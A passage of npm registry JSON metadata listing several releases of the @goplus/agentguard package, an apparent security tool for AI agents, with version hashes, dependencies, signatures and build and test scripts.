registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.27_1780050053796_0.3568869006827531","host":"s3://npm-registry-packages-npm-production"}},"1.1.28-beta.0":{"name":"@goplus/agentguard","version":"1.1.28-beta.0","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.28-beta.0","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"3e0fe0fabeee9a38748cfd61a3039ce8afd663c5","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.28-beta.0.tgz","fileCount":358,"integrity":"sha512-kiRs5Nt8zWdWBBJR6am6izserJsuus3QOtroSjVO+ZmBALhkyNe4NzjebBTjG9FP5sbed4SxqL3O7EtGibexQQ==","signatures":[{"sig":"MEUCIDItGOSbEvuzg8Ccu+UDpBbyCRmOsWQ10u6OHNKCzHBQAiEAuB+XHxUM8r3l/SprhIWQmtevtHm4MoSiucVxxgy0F0w=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1924086},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9a87a00fa01dab0475db54d908a8e57cc31ca36c","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.28-beta.0_1780564318819_0.43514064444148204","host":"s3://npm-registry-packages-npm-production"}},"1.1.28-beta.1":{"name":"@goplus/agentguard","version":"1.1.28-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.28-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"6fb8439d13999fc85f471745ed062eceb8b730cc","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.28-beta.1.tgz","fileCount":358,"integrity":"sha512-4LZIFlRGI2wt+kDxrH16H7XlZyZBvkxs50CuaarmTj7AcQDe+MC+lv7902DOqIbsZhAXuWAgScf6LoHOIe2gUg==","signatures":[{"sig":"MEUCIQDt/LwHyymiHUbTZJw1Yh2TziF+mBiAHrVSPMz4nkzAxQIgDxkiuxbrTH/c9ZAtL065oir/FLPCUsCaRg6sVmkFmSU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2025384},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"736cfc0636a96eb01bc391886e52ab09bf555640","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.28-beta.1_1780650051617_0.4872415151904461","host":"s3://npm-registry-packages-npm-production"}},"1.1.28-beta.2":{"name":"@goplus/agentguard","version":"1.1.28-beta.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.28-beta.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"b9522569bf091b98247f0fdd9b5249d248570d9f","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.28-beta.2.tgz","fileCount":362,"integrity":"sha512-PGOkGXn8rs7sF3UkL6h0KWAnVkclCscjkI6WaNVprxbajb9jO1+xCZhPFfrTcu8Xkk5ALlTHZN0YSZE0jpP4mQ==","signatures":[{"sig":"MEYCIQCdjxV46n7NJFHqMNcvjkn+Id74g00y8LpjJFF+lu0yAQIhAOBqtVKilz9Gbf/YFicO++L9WIHf3FaXH93zjZJGfXR3","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2076944},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9ed0a2035fbe1144bfccaebd19da7515849da8da","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.28-beta.2_1781090923494_0.7769466724369856","host":"s3://npm-registry-packages-npm-production"}},"1.1.28":{"name":"@goplus/agentguard","version":"1.1.28","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.28","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"9a8ead699cab68b41e7d7f877ddc13386a7cfc0d","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.28.tgz","fileCount":382,"integrity":"sha512-MB5qybAb+hjyIGIy3oFd1IPkbJIiT2uW1qQCy1nbGMKEQbHLaTVS9NQHQG0Ax/OVi/3zCz/1oa/Jjqn8qLrbXQ==","signatures":[{"sig":"MEUCIAK763vsfE18F8T7S5bJsdUibQE0vzpYsi1jjJw9mg9nAiEA8T0vMIXPd9nPwWnjkQ/XjJ+vnejAoTUU7H2me7daOqk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2160359},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"6f3243146ccd41ebdc0dc4f4f45db1e7ac0a7993","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.28_1781602875091_0.3476963115718048","host":"s3://npm-registry-packages-npm-production"}},"1.1.29-beta.0":{"name":"@goplus/agentguard","version":"1.1.29-beta.0","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.29-beta.0","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"58aba2f664655fb0168c36856f505a3918ff4087","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.29-beta.0.tgz","fileCount":382,"integrity":"sha512-6rrSQmMB+5x2db1OkeAK/FWb7fn+P3PikFX/y/BnF4wqroOSR8mc6IP5fcLWfaSG/EYci18glsxjHSgTlm4p5A==","signatures":[{"sig":"MEUCIQDj4I1PBjaW/P39qI3GSCk3Q0a1L3vNJ34aT3Nn21uQFQIgbSwNv57WZzahM9Q+hix9UeeJEbFLw0OymFZHVZgbho8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2199523},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"644a896e219af326cbd457cfd4984b10c6b23699","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.29-beta.0_1781692091378_0.5027785112923375","host":"s3://npm-registry-packages-npm-production"}},"1.1.29-beta.1":{"name":"@goplus/agentguard","version":"1.1.29-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.29-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"962749329c5b2800f82268384e8a1a36de596f9d","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.29-beta.1.tgz","fileCount":402,"integrity":"sha512-+uhTq8YAuqgf393t/P8vd0gfiDhIB2EA6Ui69TgBq++vb0ibxrMh9U2838uTGZf8N9zN0/m2VBEQo0ygaj7rmg==","signatures":[{"sig":"MEYCIQCDDGbsn7vBJpDZv9A7Kpqr7LfSemYqAUKb1h0L8ySuKgIhAP+fsEeBNhiUZD+ZmXEwCAlwNq1ao9YlSnfDFm1c2ob5","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1913587},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"649e42ae2e153270a48c8f6c6e4fe1338752769f","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.29-beta.1_1787136017188_0.10867215629634841","host":"s3://npm-registry-packages-npm-production"}},"1.1.29-beta.2":{"name":"@goplus/agentguard","version":"1.1.29-beta.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.29-beta.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"80d3fab2b4852286822f3e7b7c390f0beb63cb0d","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.29-beta.2.tgz","fileCount":402,"integrity":"sha512-zm02+n+0ujuvd8ufKCD9z5t5vbFbugKeqCeZJhTdlwshxym560I6ZfOj5kOpbRJMvZxbFl9N8pPrXocGij7NIA==","signatures":[{"sig":"MEYCIQCw6Poyi7fTFU1bymOQs+r4mdGyUAdYieRKHjJJBMHjCwIhANEIUuhCKnX81jSc8SfACrdrkPZYBlTfX7rl1Jr1g15H","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1919423},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"b20e4b1b0033a0b7083afdc788bb673ea9b0a754","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.29-beta.2_1787325404453_0.24974545251367286","host":"s3://npm-registry-packages-npm-production"}},"1.1.29":{"name":"@goplus/agentguard","version":"1.1.29","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.29","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"56d45840fe2d5cdb803ba313a85b09a4ec2baf57","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.29.tgz","fileCount":402,"integrity":"sha512-K3v/XgavKauC/2BPQvOIrC+3PgLQL/HR73XQQI8svnXGOO+vi61R9Ky+IExcZ1+stg2w5UpQEgZFEx4gQV9yVQ==","signatures":[{"sig":"MEUCIQD67KWOWQqzAuhGEHJmD4Ygeak8F5OXO2MKxSzwObKNMQIgb50c0QYQtabvr7Q6mYOeh0jgMejUFybg/3pdpOlnHMI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1922879},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"83e7e1a636c88ff8916a932a08d39ad7ff6d3cfd","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.29_1787741203770_0.5187495048102102","host":"s3://npm-registry-packages-npm-production"}},"1.1.30-beta.1":{"name":"@goplus/agentguard","version":"1.1.30-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.30-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"88ba13744f726fc10e70b041080b5bb4c565e285","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.30-beta.1.tgz","fileCount":431,"integrity":"sha512-5B7pY7zp88AV8hN9Vzl2kQx6QMpvat4hUIsNnW4UfCQFPQ/77G6w/RFH4p3eQf9knxOajkcF8nrhoVGJhBz5XA==","signatures":[{"sig":"MEUCIQCpeanguZQo5kjtziTtlVaXLPhEHblg+Z7Ufjz2av1VdwIgJ3UG5fOp/Km5MaxzcOsrn48+D54Vp2eptPj9JyuHj6c=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2151678},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"2150b6be1cffc0f1172abbc8d7a4b620a948fe69","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.30-beta.1_1788514225220_0.587749469158372","host":"s3://npm-registry-packages-npm-production"}},"1.1.30-beta.3":{"name":"@goplus/agentguard","version":"1.1.30-beta.3","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.30-beta.3","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"37b37ea5f7aa659f31b1eee7c4f7b3dc8c99e7e3","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.30-beta.3.tgz","fileCount":431,"integrity":"sha512-+aKu8GPSFTH3qiPv+xJaIJubveLMZlolpXvwW1fJTIvCFm68s/CRaX9oCPglJnXnkJE/u8A2PS2mmGOKjLKgtg==","signatures":[{"sig":"MEYCIQDWo8cOyNIFRpKA+Cg2/prCDdf/QtDC/6dtk8qIeJqcpQIhAM51wYo+YBC1+Jhe5I4pftnoRuLeezaRDLIB1lnyQfSw","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC36h+O6TwCFYivM9DqAy24xKV1jr4adpwGkODmMlUzbAIhAMDWIVCLJ8qkuo/tsSsd5aA7lCSacvS23/Sd4FpGQblQ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2294333},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"14370b767a7f1847459fcfdaafcaaa841126112e","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust 